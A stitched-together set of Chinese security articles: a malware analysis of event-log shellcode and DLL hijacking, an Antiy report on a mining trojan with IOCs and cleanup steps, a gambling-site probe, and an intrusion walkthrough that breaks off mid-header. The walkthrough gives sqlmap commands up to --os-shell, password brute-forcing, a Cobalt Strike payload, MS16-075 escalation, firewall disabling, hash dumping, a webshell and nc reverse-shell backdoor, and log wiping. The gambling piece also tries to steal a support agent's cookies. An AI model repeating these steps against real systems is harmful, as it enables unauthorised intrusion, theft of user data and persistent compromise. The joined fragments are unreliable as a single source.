最後stager類型Last stager 有兩種通信機制——使用RC4加密的HTTP通信機制和使用命名管道的非加密通信機制。後一種方式在技術上能夠與任何網絡可見的外部主機通信,但在Windows環境中,命名管道是建立在SMB協議之上的,它幾乎不會對外部網絡開放。所以這些模塊很可能用於橫向移動。

2.png

在對惡意軟件集進行了介紹之後,我們現在將描述感染鏈,研究人員使用Cobalt Strike 滲透測試套件進行Dropper注入。

用DLL中的Dropper實現order劫持研究人員從wrapper-dropper 動態庫開始自定義模塊分析。此代碼被注入到諸如explorer.exe 之類的Windows 進程中。在加載到啟動程序進程的虛擬地址空間後,在其單個入口點,dropper 刪除由先前stager或執行創建的文件。

首先,該模塊將原始合法的操作系統錯誤處理程序WerFault.exe 複製到C:\Windows\Tasks。然後,它將一個加密的二進制資源放置到同一目錄中的wer.dll文件中,以進行典型的DLLorder劫持。為了持久化,該模塊將新創建的WerFault.exe設置為自動運行,在Software Microsoft\Windows\CurrentVersion\Run Windows系統註冊分支中創建一個Windows問題報告值。

3.png

dropper 不僅將啟動器放在磁盤上進行側載,而且還會將帶有shellcode 的信息消息寫入現有的Windows KMS 事件日誌。

被刪除的wer.dll是一個加載器,如果沒有隱藏在Windows事件日誌中的shellcode,它不會造成任何傷害。 dropper在事件日誌中搜索類別為0x4142(ASCII 中的“AB”)並以密鑰管理服務作為源的記錄。如果沒有找到,則通過ReportEvent() Windows API 函數(lpRawData 參數)將8KB 的shellcode 塊寫入信息記錄消息。從1423 開始,創建的事件ID 會自動遞增。

wer.dll 中的啟動器這個啟動器,被第一個stager放到Tasks 目錄中,它代理所有對wer.dll的調用,並將其導出到原始合法庫。在入口點,一個單獨的線程將所有上述8KB 片段組合成一個完整的shellcode 並運行它。由合法WerFault.exe 的副本創建的相同虛擬地址空間用於所有這些代碼。

4.png

為了防止WerFault 繼續其錯誤處理過程,DLL 使用典型的Blackbone trampoline修復啟動器的入口點

阻止合法啟動器執行的方法很新穎。在主線程中,wer.dll 找到它的入口點並用一個簡單的函數對其進行修復。上面屏幕截圖中的WaitAndExit() 只會使用日誌收集線程ID 調用WaitForSingleObject() ,然後退出,這意味著永遠不會執行真正的WerFault.exe 錯誤處理代碼:映射到其地址空間的欺騙性DLL 會阻止它。

Windows 事件日誌中的Shellcode

啟動器將控制傳輸到收集的shellcode 的第一個字節。在本文中,研究人員為下一個函數準備了三個參數:

下一個stager木馬的地址,它也包含在從事件日誌中提取的數據中;

導出函數名稱的標準ROR13 哈希在此木馬中加載(0xE124D840);

字符串“dave”和常量“4”的地址,它們成為導出函數的參數,可以通過哈希找到;

解析下一個Windows 可移植可執行文件以定位其入口點的做法是非常典型的。為了讓下一個stager的木馬不那麼顯眼,攻擊者清除了標題中的“MZ”魔法。在木馬的入口點調用代碼後,shellcode 還會搜索請求導出並調用它。

5.png

除了搜索入口點並調用它,shellcode 還通過硬編碼哈希搜索木馬導出,並使用參數“dave”和“4”運行找到的函數

HTTP木馬相比之前的輔助模塊,對於最後一個stager,我們會介紹的更詳細一些。 C++ 模塊顯然使用了SilentBreak(現為NetSPI)的Throwback 公共存儲庫中的代碼:基於XOR 的加密函數,一些示例的原始文件名,例如ThrowbackDLL.dll 等。讓我們從前面提到的Load()導出函數開始。這就像上面的WerFault補丁(函數在主木馬線程上等待),但是它忽略了任何參數,所以“dave”和“4”沒有被使用。這個啟動器可能支持比這個更多的模塊。

目標搜索該模塊使用單字節XOR 密鑰解密C2 域,在此示例中,只有一個域eleed[.]online。該木馬能夠處理其中的許多,以“|”字符分隔並加密。為了進一步通過普通HTTP進行通信,木馬從用戶代理“Mozilla 5.0”的集合中隨機選擇一個C2。

該惡意軟件通過收集以下信息生成一個追踪字符串,也用“|”分隔:

1.SOFTWARE\Microsoft\Cryptography 中MachineGUID 的值;

2.計算機名稱;

3.使用GetAdaptersInfo 獲取的本地IP 地址;

4.架構(x86 或x64);

5.操作系統版本;

6.當前進程是否有SeDebugPrivilege;

追踪識別器還將“1.1”附加到字符串(可能是惡意軟件版本)和當前配置的睡眠時間。

與C2進行加密的HTTP通信

在HTTP通信之前,該模塊使用硬編碼的32字節長的RC4密鑰發送空(但仍然加密)的ICMP數據包來檢查連接。與任何其他字符串一樣,此密鑰使用基於Throwback xor的算法加密。

如果ping端口為80的控制服務器成功,則將上述追踪數據發送到該控制服務器。作為回應,C2共享木馬主循環的加密命令。

木馬命令代碼的命令功能0——再次對目標進行追踪識別;

1——執行命令,木馬在新進程中執行接收到的命令並將結果發送回C2;

2——從URL 下載並保存到給定路徑;

3——設置新的睡眠時間,如果C2 尚未響應要執行的命令,則將此時間(以分鐘為單位)用作超時。隨機化公式為(0,9 - 1,1之間的隨機數)*睡眠時間;

4——在不改變配置的情況下休眠指定的分鐘數。

5——列出具有PID、路徑、所有者、名稱和父數據的進程;

6——將shellcode 注入並運行到目標進程的地址空間。要注入同一個進程,命令參數應該是“local”。與事件日誌中的shellcode 一樣,該代碼將運行提供的PE 的入口點以及通過哈希找到的特定導出。

99——終止木馬和C2之間的會話。

本次活動中使用的另一個木馬是基於管道命名的,這樣命令系統更有意義,包括特權升級、截圖、非活動時間測量等。繼續使用另一種最後stager的木馬類型,發現它被注入到了像edge.exe這樣的進程中。

基於管道命名的木馬木馬的位置是C:\Windows\apds.dll,具有相同名稱的原始合法Microsoft 幫助數據服務模塊庫位於C:\Windows\System32 中。木馬的主要工作週期是在一個單獨的線程。該惡意軟件還導出一個Load()函數,其唯一目的是等待一個工作線程,這是該活動的模塊的典型。

首先,木馬主線程獲取原始apds.dll並導出,並將其保存到內存中木馬映像之後的一個已分配的新堆緩衝區中。然後,木馬會編輯自己導出的函數數據,這樣它就可以通過如下精心製作的存根調用原始的apds.dll導出,其中的地址就是從真正的apds.dll解析出來的地址:

6.png

這個trampoline代碼取自Blackbone Windows內存黑客庫(remotemmemory:BuildTrampoline函數)。 DLL劫持並不是什麼新鮮事,我們已經多次看到這種技術被用於代理合法函數,但僅用短存根重新創建自導出來調用原始合法函數卻很不尋常。然後,該模塊創建一個雙工命名的管道“MonolithPipe”,並進入它的主循環。

工作週期在對導出函數進行上述操作後,該模塊會輕微地使用架構和Windows 版本信息對主機進行追踪識別。木馬還使用提到的稀有常量初始化一個隨機的11 字節ASCII 字符串,例如這裡的init_keys 函數。結果用作唯一的會話ID。

惡意軟件連接到端口443 上的硬編碼域(在本例中為https://opswat[.]info:443),並向C2 端的submit.php 發送POST 請求。 HTTPS 連接選項設置為接受服務器端的自簽名證書。在本例中,C2通信使用Dhga(81K1!392-!(43KakjaiPA8$#ja密鑰的RC4算法加密。對於基於管道命名的木馬,常用的命令有:

0——將“continue”標誌設置為False 並停止工作;

1——N/A,保留至今;

2——獲取自上次用戶輸入以來的時間(以分鐘為單位);

3——獲取當前進程信息:PID、架構、用戶、路徑等;

4——獲取主機域和用戶帳戶;

5——使用提供的憑據模擬用戶;

6——獲取當前進程的可用權限;

7——使用cmd.exe 解釋器執行命令;

8——使用與給定主機(地址和端口)的原始TCP 套接字測試的連接;

9——獲取正在運行的進程信息:路徑、所有者、名稱、父進程、PID等;

10——使用提供的ID 的進程令牌模擬用戶;

11——列出目錄中的文件;

12——截取屏幕截圖;

13——將內容寫入文件;

14——讀取文件內容;

15——刪除文件;

16——將提供的代碼注入到具有給定名稱的進程中。

17——在C2上運行shellcode;

研究人員現在已經介紹了該活動的三個層面,有趣的是,研究人員觀察到一個木馬俱有如上表所示的完整命令集,但仍然使用rc4加密的HTTP與C2通信,而不是指定管道。最後一個stager的示例看起來像一個模塊化的平台,攻擊者能夠根據他們當前的需要組合其功能。

基礎設施7.png

研究人員認為這些代碼是自定義的(木馬、包裝器),與以前已知的活動或以前註冊的SilentBreak工具集模塊沒有相似之處。現在研究人員不願意給這個活動命名,而是堅持只用“SilentBreak”。

1 概述近期,安天CERT通過網絡安全監測發現了一起新的挖礦木馬攻擊事件,該挖礦木馬從2023年11月開始出現,期間多次升級組件,目前版本為3.0。截止到發稿前,該挖礦木馬攻擊事件持續活躍,感染量呈上升態勢。主要特點是隱蔽性強、反分析、DLL劫持後門和shellcode注入等,因此安天CERT將該挖礦木馬命名為“匿鏟”。

在此次攻擊活動中,攻擊者利用了兩個比較新穎的技術以對抗反病毒軟件,第一個技術是濫用反病毒軟件的舊版本內核驅動程序中的功能來結束反病毒軟件和EDR,這個技術通過一個主體的PowerShell腳本、一個獨立的PowerShell腳本和一個控制器(內存加載的小型可執行文件)來完成,主體的PowerShell腳本用於下載並安裝反病毒軟件的舊版本內核驅動程序,獨立的PowerShell腳本用於解密並內存加載控制器,控制器用來控制內核驅動程序。雖然被濫用的舊版本內核驅動程序早已更新,但目前仍能被非法利用並有效結束大多數反病毒軟件。

第二個技術是利用MSDTC服務加載後門DLL,實現自啟動後門,達到持久化的目的。這個技術利用了MSDTC服務中MTxOCI組件的機制,在開啟MSDTC服務後,該組件會搜索oci.dll,默認情況下Windows系統不包含oci.dll。攻擊者會下載後門DLL重命名為oci.dll並放在指定目錄下,通過PowerShell腳本中的命令創建MSDTC服務,這樣該服務會加載oci.dll後門,形成持久化操作。

經驗證,安天智甲終端防禦系統不會被反病毒軟件的舊版本內核驅動程序所阻斷,也能夠對該後門DLL的有效查殺。

2 攻擊流程“匿鏟”挖礦木馬首先會從放馬服務器上下載名為“get.png”的PowerShell腳本,解碼後執行哈希驗證、創建計劃任務、禁用系統自帶殺毒軟件和創建服務等操作。

之後會下載“kill.png”腳本和“delete.png”、“kill(1).png”兩個壓縮文件,腳本解碼出shellcode代碼,shellcode代碼經過解密得到控制器(一個可執行文件)並註入到powershell.exe進程中,兩個壓縮文件經過解壓縮得到反病毒廠商的舊版本內核驅動程序“aswArPots.sys”和“IObitUnlockers.sys”,由控制器調用,終止殺毒軟件和EDR程序等。還會根據受害主機自身系統型號下載對應的“86/64.png”的壓縮文件,解壓縮後會得到oci.dll文件,通過MSDTC服務調用實現DLL劫持後門。

在“get.png”腳本中還看到了下載“backup.png”腳本的地址,但下載函數還未實現,可能後續版本會加,該腳本主要功能是發送心跳接收命令等。最後“get.png”腳本會下載“smartsscreen.exe”程序,該程序會下載挖礦程序及其組件進行挖礦。

图 2 1 攻击流程图.jpg

圖2‑1 攻擊流程圖

3 樣本梳理與功能分析3.1 樣本梳理針對該挖礦木馬攻擊,對其樣本及功能進行梳理,如下表所示:

表3‑1 樣本及功能梳理

樣本名

落地名

樣本路徑

功能

get.png

不落地

內存中

初始投放載荷,下載後續樣本,持久化

backup.png

初始投放載荷沒有定義下載該樣本,推測後續增加

run.bat

run.bat

C:\Users\Public

powershell命令下載get.png

kill.png

不落地

powershell.exe內存中

終止殺毒軟件和EDR等進程

kill.png(1)

aswArPots.sys

C:\Windows\System32\drivers

delete.png

IObitUnlockers.sys

C:\Windows\System32\drivers

強制刪除文件和進程

86.png/64.png

oci.dll

C:\Windows\System32

DLL劫持後門

smartsscreen.png

smartsscreen.exe

C:\Windows\Fonts

下載挖礦程序等

curl.png

curl.exe

C:\Windows\Fonts

curl官方文件

config.json

config.json

C:\Windows\Fonts

挖礦配置文件

taskhostw.png

taskhostw.exe

C:\Windows\Fonts

XMRig挖礦程序

WinRing0x64/32.png

WinRing0x64/32.sys

C:\Windows\Fonts

挖礦驅動程序

config.txt

不落地

包含版本信息及樣本哈希

表3‑2 挖礦程序中的礦池地址和錢包地址

礦池地址

錢包地址

111.90.143.130:80

ZEPHYR2ty7pYE3wUdjLn1QKsFLiatXdMZHZzQSJToaoFM1LvWPzuqsvdtLzXRRk2hhFTxLCvLnAr4XJBCvrVfUeP8F6XC7QLgza47

93.95.228.47:80

zephyr.herominers.com:1123

3.2 樣本功能分析3.2.1 核心腳本模塊分析(get.png)利用系統自帶的工具刪除指定計劃任務、結束指定進程和停止指定服務,疑似清理與其存在競爭關係的挖礦木馬持久化操

图 3 1 删除计划任务等.jpg

圖3‑1 刪除計劃任務等

遍歷所有可能的驅動器字母(從A到Z),檢查每個驅動器是否有足夠的可用空間。如果找到符合條件的驅動器,則返回該驅動器的名稱,如果遍歷完所有驅動器都沒有找到,則返回空。

图 3 2 遍历驱动器.jpg

圖3‑2 遍歷驅動器

清理C:\Windows\Installer目錄中的空間,查找該目錄中最大的文件。搜索C:驅動器根目錄和除了一些系統目錄之外的所有子目錄中具有特定擴展名(.exe、msi、iso、7z、rar、zip)的最大文件。如果找到了最大的文件,將其刪除,以便釋放空間。

图 3 3 释放空间.jpg

圖3‑3 釋放空間

定義了所需的空間量為10MB,如果找到了一個合適的驅動器,函數將嘗試創建一個隱藏的目錄\$RECYCLE.BIN\Fonts來保存文件。

图 3 4 下载文件存放位置.jpg

圖3‑4 下載文件存放位置

嘗試通過DoH服務獲取域名對應的IP地址,如果失敗,則嘗試使用傳統的DNS查詢方法。如果兩種方法都失敗,則使用備份的IP地址。目的是確保可以獲取到用於HTTP和FTP下載的域名的IP地址。

图 3 5 获取域名对应IP地址.jpg

圖3‑5 獲取域名對應IP地址

通過字符串替換操作來更新配置信息,以確保配置文件中的下載地址與實際的下載服務器地址一致。添加一個時間戳參數,通常用於確保每次請求都會加載最新的內容,而不是從緩存中加載。將HTTP地址轉換為FTP地址,並移除了可能存在的時間戳參數。

图 3 6 更新配置信息.jpg

圖3‑6 更新配置信息

創建多個計劃任務,分別執行後續下載到的載荷。計劃任務名分別為“OneDriveCloudSync”、“DefaultBrowserUpdate”、“OneDriveCloudBackup”,分別對應執行更新程序、自身文件、smartsscrren.exe。

图 3 7 创建计划任务.jpg

圖3‑7 創建計劃任務

清理自身舊的進程。

图 3 8 清理自身旧的进程.jpg

圖3‑8 清理自身舊的進程

從遠程服務器獲取配置信息,並確保配置信息中的某些字符串哈希值存在。如果這些字符串存在,函數將停止循環,並繼續執行後續的腳本操作。如果字符串不存在,嘗試使用FTP協議再次下載配置信息。

图 3 9 验证配置信息是否一致.jpg

圖3‑9 驗證配置信息是否一致

配置信息如下,其中包括curl、xm、xmc、xms、smart、scan、ms86、ms64、dkill和ddelete字符串。

图 3 10 配置信息.jpg

圖3‑10 配置信息

禁用Windows Defender的實時監控,關閉rpc服務,清理系統的垃圾文件和日誌等。

图 3 11 禁用系统自带杀毒软件.jpg

圖3‑11 禁用系統自帶殺毒軟件

從指定的URL下載文件並保存到C:\Windows\System32\drivers,創建並啟動名為aswArPots和IObitUnlockers的服務。

图 3 12 创建服务.jpg

圖3‑12 創建服務

停止並重啟MSDTC服務,將下載的適用於主機系統的x86.png或x64.png重命名為oci.dll並保存在C:\Windows\System32中,通過MSDTC服務實現DLL劫持後門。

图 3 13 DLL劫持后门.jpg

圖3‑13 DLL劫持後門

最後下載並運行多個後續組件,具體如圖所示。

图 3 14 下载后续组件.jpg

圖3‑14 下載後續組件

3.2.2 遠控模塊分析(backup.png)該腳本用於將日期時間、受害者主機名進行2次BASE編碼並回傳至攻擊者服務器,不斷地向服務器發送心跳信號,接收命令,執行這些命令,並將命令的輸出結果發送回服務器。

图 3 15 发送心跳包等至服务器.jpg

圖3‑15 發送心跳包等至服務器

3.2.3 對抗模塊分析(kill.png)該腳本實際為壓縮和BASE64編碼後的PowerShell腳本,該腳本會解密多層載荷,並在最後將一段shellcode代碼注入到powershell.exe進程中。

图 3 16 进程注入.jpg

圖3‑16 進程注入

shellcode會解密內嵌的一段PE再次實現內存加載。最終加載的PE數據為白名單驅動利用模塊,該模塊會偽裝白名單通信的驅動協議,操縱底層驅動利用系統權限刪除、終止指定的進程或文件,大部分進程為殺毒軟件、防火牆、沙箱等安全軟件的核心進程。該可執行文件旨在整理正在運行的進程列表,然後將它們與Anti-Virus和EDR進程名稱的CRC64校驗和值的混淆硬編碼列表進行比較。如果任何進程名稱與硬編碼列表中的條目直接關聯,則會將I/O控制(IOCTL)代碼發送到Avast驅動程序,從而導致進程終止。部分被列入攻擊者處理名單的進程名如下:

图 3 17 反杀毒软件驱动.jpg

圖3‑17 反殺毒軟件驅動

3.2.4 自我更新模塊分析(86/64.png)msdtc目錄下具有兩個文件:“86.png”、“64.png”。分別對應32位環境與64位環境,兩個樣本在代碼結構方面完全一致,僅在編譯時選擇的目標系統位數不同。該文件僅負責從攻擊者服務器重新下載“get.png”並執行,用於自我更新。

图 3 18 自我更新下载get.png

圖3‑18 自我更新下載get.png

3.2.5 挖礦組件下載器模塊分析(smartsscreen.exe)該文件為挖礦組件的下載模塊,由Golang語言開發,運行後會訪問攻擊者服務器下載挖礦各個組件等。

图 3 19 下载后续挖矿组件.png

圖3‑19 下載後續挖礦組件

該組件運行後會訪問攻擊者服務器下載“config.txt”、“curl.png”用於校驗挖礦組件HASH與下載挖礦組件。隨後分別訪問下載XMRig官方開源挖礦組件。其中“taskhostw.png”為挖礦程序,“config.json”為挖礦配置文件,“WinRing0x64.png”為XMRig運行所需驅動。

图 3 20 下载挖矿组件网络数据.png

圖3‑20 下載挖礦組件網絡數據

4 挖礦木馬落地排查與清除方案4.1 挖礦木馬落地識別1. 計劃任務計劃任務名

對應樣本路徑

DefaultBrowserUpdate

C:\Users\Public\run.bat

OneDriveCloudBackup

cmd.exe /c start C:\Windows\Fonts\smartsscreen.exe

OneDriveCloudSync

cmd.exe /c C:\Windows\System32\sc.exe start msdtc

2. 文件文件名

路徑

smartsscreen.exe

C:\Windows\Fonts

taskhostw.exe

WinRing0x64/32.sys

curl.exe

config.json

run.bat

C:\Users\Public\run.bat

oci.dll

C:\Windows\System32

aswArPots.sys

C:\Windows\System32\drivers

IObitUnlockers.sys

3. 服務服務名

對應註冊表

MSDTC

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSDTC

4. 進程進程名

路徑

powershell.exe

內存執行

smartsscreen.exe

C:\Windows\Fonts

taskhostw.exe

5. 網絡IP

功能

111.90.158.40

掛馬服務器

111.90.143.130:80

礦池地址

93.95.228.47:80

4.2 清除方案建議採用安天系統安全內核分析工具(ATool)*免費版(下載地址:https://vs2.antiy.cn/)進行檢測查殺,首先刪除三個計劃任務,計劃任務名為DefaultBrowserUpdate、OneDriveCloudBackup和OneDriveCloudSync。

图 4 1 删除计划任务.png

圖4‑1 刪除計劃任務

結束相應進程,smartsscreen.exe、taskhostw.exe和powershell.exe。

图 4 2 结束相应进程.png

圖4‑2 結束相應進程

刪除挖礦程序等對應目錄中的樣本。

图 4 3 删除对应目录样本.png

圖4‑3 刪除對應目錄樣本

刪除對應的驅動文件,aswArPots.sys和IObitUnlockers.sys。重啟MSDTC服務,如不是自身創建,可對應刪除該服務。

图 4 4 删除对应驱动文件.png

圖4‑4 刪除對應驅動文件

5 事件對應的ATTCK映射圖譜針對攻擊者投放挖礦木馬的完整過程,安天梳理本次攻擊事件對應的ATTCK映射圖譜如下圖所示。

图 5 1 事件对应的ATT&CK映射图谱.png

圖5‑1 事件對應的ATTCK映射圖譜

攻擊者使用的技術點如下表所示:

表5‑1 事件對應的ATTCK技術行為描述表

ATTCK階段/類別

具體行為

註釋

執行

利用命令和腳本解釋器

使用PowerShell腳本命令

持久化

執行流程劫持

利用oci.dll劫持

利用計劃任務/工作

創建計劃任務

防禦

1、偶然间发现一个菠菜站点,遂测试一番,思路如下:既然是菠菜站,肯定会让用户注册,否则怎么收钱了?注册这种和用户强交互的页面,可能存在的漏洞如下:

  • sql注入:用户输入的账号信息,如果不经过滤直接用来写入或查询数据库,肯定存在sql注入
  • xss:在输入框输入的个人信息,大概率会被展示在用户的页面;同时管理员肯定有权限在后台查看用户的个人信息,这里可能会有存储型xss;就算是反射型或DOM型xss,由于这类站点有客服,可以想办法诱骗客户点击链接,达到偷cookie或其他目的;
  • 平行越权:用户登陆时、登陆后查看某些页面,此时抓包,如果有类似id字段,通过更改id号可能能看到其他用户、甚至管理员的信息
  • CSRF:修改账号信息,比如密码;或则修改邮箱,再通过邮箱修改密码;
  • 支付漏洞:抓包改参数,造成0元支付

2、顺着这个思路,不管三七二之一,先上工具试试注册页面,结果如下:发现2个高危的xss;

3y3gferadee12832.png

 (1)先看第二个:把提示的参数换成检测工具的payload后,页面如下:自己的payload居然被完整的在页面展示,没有任何过滤,高兴死我了;

qjtojfdwmbv12835.png

        由于payload本身就在JS内部,所以刚开始并未构造script标签,而是直接用类似 '19736%0a',}%0aalert(666);%0a' 这种payload,目的是让alert(666)直接暴露在后台原有的script标签里,但反复尝试了好多个都不行,只能调整思路,重新构造script标签,这次成功,如下;说明这个xss没误报;

  2yyad531w3k12837.png

        另一个是cookie里面的,把sessionid改了,也能直接出现在页面的html源码;和上面第一个类似,都可以构造script执行自己的js代码;不过由于不知道后台源码,不能确定这里是否是存储型xss,也不能通过构造url诱骗别人点击,我个人觉得意义不大,这里不再验证;

  v2ble0hlq4c12842.png

由于目前还无法登陆后台,其他xss是否是存储型还不确定,现阶段暂不继续验证其他xss漏洞;

  vxshoswky2e12849.png

(2)登陆界面抓包,用户名和密码居然明文传输,WTF.......

 0hrsjdimstp12852.png

        放过后,又抓到新包,放入repeater尝试:里面有个字段captcha是验证码,删掉后服务器任然会执行,并且不会提示验证码错误,而是用户名或密码错误,省了不少事;先用正确的账号测试,发现返回的status是Y,一切正常;

   1jjhwgbuce112855.png

        然后开始用 单引号、双引号、括号、') or 1=1 -- qwe 等各种sql注入的payload尝试,返回都如下:

 w2a45ui4mtq12858.png

    右边那一串native编码解码后为: “请输入4-15个字元, 仅可输入英文字母以及数字的组合”; 看来是有意做了过滤,只能输入字母和数字,并且不能输入任何特殊符号,这里大概率不存在sql注入;(有些站点前端页面也有说说明,并且实在后台服务器端检验,不是再前端用js检验,想用burp抓包后改字段也不行)

    5z4yz5a12gr12861.png

   (3)平行/垂直越权:有些站点登陆后,cookie里面会带上各种id,比如uid=123、groupid=456、telno=135000387465等等,很容易看出字段的含义,并且更改数值后看到其他用户甚至管理员的数据;但这里的cookie都是各种session,剩下各种数字的字段无法看出啥含义,用burp尝试不同的数值都返回status:N,这条路也走不通;

 (4)0元支付:在支付界面抓包,把request包的内容解码,发现里面又sign字段,会对其他字段做校验,改金额的话需要逆向校验算法,再重新计算sign值,这里暂时放弃;PS:这里终于暴露了user_id;

g5xjttk1rlw12863.png

3、通过xray扫描,发现一个resin-viewfile漏洞。

    np3vh4edxst12865.png

    根据扫描提示,改file=xxxx的内容,果然能查到部分文件,比如下面的配置文件;

    l0ngi4j4ny012867.png

    ps3q2pczopa12869.png

  2ftklt51ae212871.png

  这个漏洞类似SSRF,可以遍历内网文件;遂在github找漏洞利用的工具,同时用burp跑字典挨个穷举目录和文件,但只发现了如下文件,都是常规的文件和路径,没找到预期的各种配置(比如账号)文件;

    nqn3wrig45p12873.png

  想遍历C盘,貌似有防护;

     k0mydxmterk12874.png

       这个漏洞暂时放弃;

4、截至目前,已发现能利用的只有XSS,而且还是反射型的,只能先找个xss平台生成一个偷cookie的script标签,嵌入到有xss漏洞的url,然后找到客服MM,诱骗其点击;结果客服MM不但没上当,还发我新链接,让我重新试试新的站点,WTF.........

   好吧,重试就重试,于是继续搞新站点;用账号登陆新站点后,主要找和用户有交互的页面(这里涉及大量传参,可以改动的空间很大,出现漏洞的几率比静态网页大很多);花了大量时间,查看了无数链接后,貌似出现了转机,如下:

       mlutsxwcwek12875.png

  这里返回了一个json串,里面有账号名、电话、昵称、权限等各种敏感数据,url里面还有client关键词,难道这是查看用户信息的接口?马上用burp抓包,更改url中纯数字的参数(纯数字意味着索引,而且容易穷举),果然不出所料,炸出部分注册用户的信息:

  wsd3go1n3va12876.png

   5、另外,通过xray还发现了CORS漏洞(数以CSRF的一种),也要想办法诱骗客户、管理员或平台其他的用户点击,这里暂时不深入;

   ldvv2kqou5l12877.png

        这个菠菜站点总结:1、用户在form的输入做了严格限制,sql注入和xss都屏蔽   2、resin漏洞不痛不痒,拿不到敏感数据  3、支付:有sign字段校验,需要先破解校验算法  4、最终有个页面传参未做校验,通过更改数字类参数的值爆破出了部分用户信息; 5、可能是因为业务原因,前端页面暂时没有找到任何上传文件的地方,目前还找不到上传小马的方法;

参考:1、 https://blkstone.github.io/2017/10/30/resin-attack-vectors/  针对Resin服务的攻击向量整理




转载于原文链接地址: https://www.cnblogs.com/theseventhson/p/13738535.html


一.前言

最近听说用某qipai产品建的站存在SQL注入,刚好别人发来一个qsqsssfoxga13131.png

渗透惯用套路一把梭

信息收集 -> 漏洞探测/利用 -> 提权/权限维持 -> 清理痕迹

二.信息收集

q1qd4s23cdm13133.png

浏览器访问主页初步发现

系统:Windows server中间件 IIS7.5语言:ASPX

端口扫描

nmap -sV -T4 -p- 11x.xx.xxx.xx
2jb1pg1ulfz13135.png

开放的端口真不少 其中web服务的有几个:80(当前主页)、81、82、88、47001 81:是这个qipai站的后台 82:也是个后台,不知道是什么系统的后台,有验证码 88/47001:访问失败

1433:数据库 mssql

还开了 139445但是被过滤了,不知道是不是有防火墙,后面再看

敏感目录扫描

先用 Dirsearch 过一遍,前面搜集到网站语言是 aspx,加上 -e 指定语言

python dirsearch.py -u http://11x.xx.xxx.xx -e aspx
4e3cexcmlja13137.png

再用 7kbscan 过一遍,毕竟这里面收集的都是国人常用的字典

asrcaxamnfr13138.png

/m/是用户注册页面,可能有用,先记着

l1ru0enzbby13139.png

/test.html是调起微信的入口,没啥用,可能是在手机端引导受害者聊天的吧

hba4h0d30mo13140.png

查IP

北京某个运营商的服务器,菠菜在国内服务器建站挺大胆的

f0xaondrfzr13141.png

信息整理

4fd3xmhgwqn13143.png

估计就是个人建的小站,不去展开收集更过的东西了,免得打偏浪费时间

三.漏洞探测

重点先放在前面找到的 81 端口,也就是网站的后台管理页面

lewl0o23zyh13145.png

没有验证码,用户名 / 密码随便写个 admin / admin,抓包

khlzxhva5ep13148.png

用户名加了个引号发送请求直接返回报错了,不出意外应该会有报错注入或者盲注啥的

u2hwyrdf5k513151.png

兵分两路

一路把这个数据包保存到本地 qipai.txt,用 sqlmap 去扫,前面已经知道是 mssql 数据库,加上 --dbms 参数指定数据库类型节约时间

python sqlmap.py -r qipai.txt --dbms "Microsoft SQL Server" --dbs

另一路,把数据包发送到 intruder 模块去爆破密码,尝试了在浏览器随便输入用户名,提示 "用户名不存在",输入 admin 的时候提示 "用户名或密码错误",说明 admin 账户是存在的,只爆破密码就行

b0zjvurw0kr13155.png

爆出密码 888999,弱口令,永远滴神!

成功登录后台iwuoqmayovk13159.png

只有 69 个注册用户,剩下的全是机器人,这 69 个用户冲了 143 万?玩qipai的都这么有钱吗,我欢乐doudizhu都舍不得冲 6 块首充

apseuyus2n013163.png

赌博沾不得呀,这个老哥一天输了 2800

1dsjukpmyhn13167.png

在后台翻了半天没找到上传点,先放着

回到另一路 sqlmap 看看,确定存在注入,已经在慢慢跑库名了

yq13enuehsw13171.png

跑出 16 个库,根据名字猜 RYPlatformManagerDB库可能存着管理员的相关信息

1gpi2j0qowl13175.png

跑表名

python sqlmap.py -r qipai.txt --tables -D RYPlatformManagerDB
1qta3vibjfr13179.png

翻了半天就找到一个管理员的账号密码,就是前面 bp 爆破出来的那个,还有一些用户的信息,没啥更有价值的

python sqlmap.py -r qipai.txt --is-dba
utzvei2thc213182.png

是 DBA 权限,尝试拿 shell,mssql 数据库直接用 sqlmap 爆破路径就行了

python sqlmap.py -r qipai.txt --os-shell

用的盲注,时间较慢,经过漫长的等待终于成功拿 shell,渗透呐,表面上是个技术活,实际上是个体力活

当前用户权限很小,只是个 mssql 数据库权限


uo0dgumn2id13187.png

Systeminfo 查看一下系统信息,可以看到系统是 64 位的 Windows server 2008

Cobaltstrike 生成攻击载荷,再目标机器上用 powershell 加载,目标机器成功上线


gkvsub2hlxk13190.png

net user查看用户

yxcvuarp3zr13194.png

tasklist查看进程,应该没有装杀软

g4wt2oxf05z13199.png

net start查看已开启的服务,可以看到防火墙是开启的,所以前面 nmap 扫描 445 等端口被过滤

yw0ewpvtb4e13200.png

关闭防火墙,额还没提权

h4vouzhpph513202.png

四.提权/wei权

前面得知这个机器是 windows server 2008,尝试用土豆提权(MS16-075)

um1dx31hvmu13203.png

执行后稍等了一会儿,比较幸运,这个机器没打补丁,一次就提权成功,拿到 system 权限,开始为所欲为

jmwxgozhomr13207.png

进入文件管理,能看到前面信息收集时的 test.html 文件

a1itqm2gzzj13208.png

netstat -ano看一下端口开放情况,3389 没有开

vor0mbdnsxh13212.png

手动开启一下

ttphx0wosbg13213.png

可以访问远程桌面了

rjxte2yiofz13216.png

cobaltstrike 操作我不是很熟练,还是用 metasploite 吧,通过 cs 上传一个 msf 生成的马,msf 开启监听

注:cs 可以直接派生 shell 给 msf,但是当时我尝试的老半天 msf 一直没有返回 session,所以才无奈先手动上传一个 msf 的马曲线救国

vgrneowewxh13220.png

msf 开启监听

ie1fmlf3wug13224.png

在 cs 上运行上传的马

sgxilzb3il113226.png

msf 成功拿到 shell,是继承的 system 权限

buuriv05gnc13230.png

查看密码哈希,不能获取,因为msf的这个马是32位的,系统是64位的

xxamsgmipqr13233.png

ps查看进程,在进程中找一个以 system 权限运行的 64 位的程序,迁移进程后再获取哈希pte0qanhvd213236.png

到在线破解哈希的网站查一下 administrator 的密码,密码不算复杂,几秒钟就查到了

xruqb2wfbm313238.png

成功登录远程桌面

kgnlx4xdpuj13241.png

留两个后门,一个webshell,一个开机自启的nc用来反弹shell

1gaydxbf3yu13244.png

五.清理痕迹,撤退

meterpreter 的 clearv命令一键清除

ko5rr5x441e13246.png

或者手动删除 Windows 日志

rgvlynp4gsx13248.png

六.总结

3rqpu42uvhe13251.png

七.实验推荐

利用sqlmap辅助手工注入

https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015011915533100001&pk_campaign=freebuf-wemedia

通过本实验的学习,你能够了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap辅助手工完成注入。



转载于原文链接:

https://www.freebuf.com/articles/network/250744.html

0x01 漏洞描述

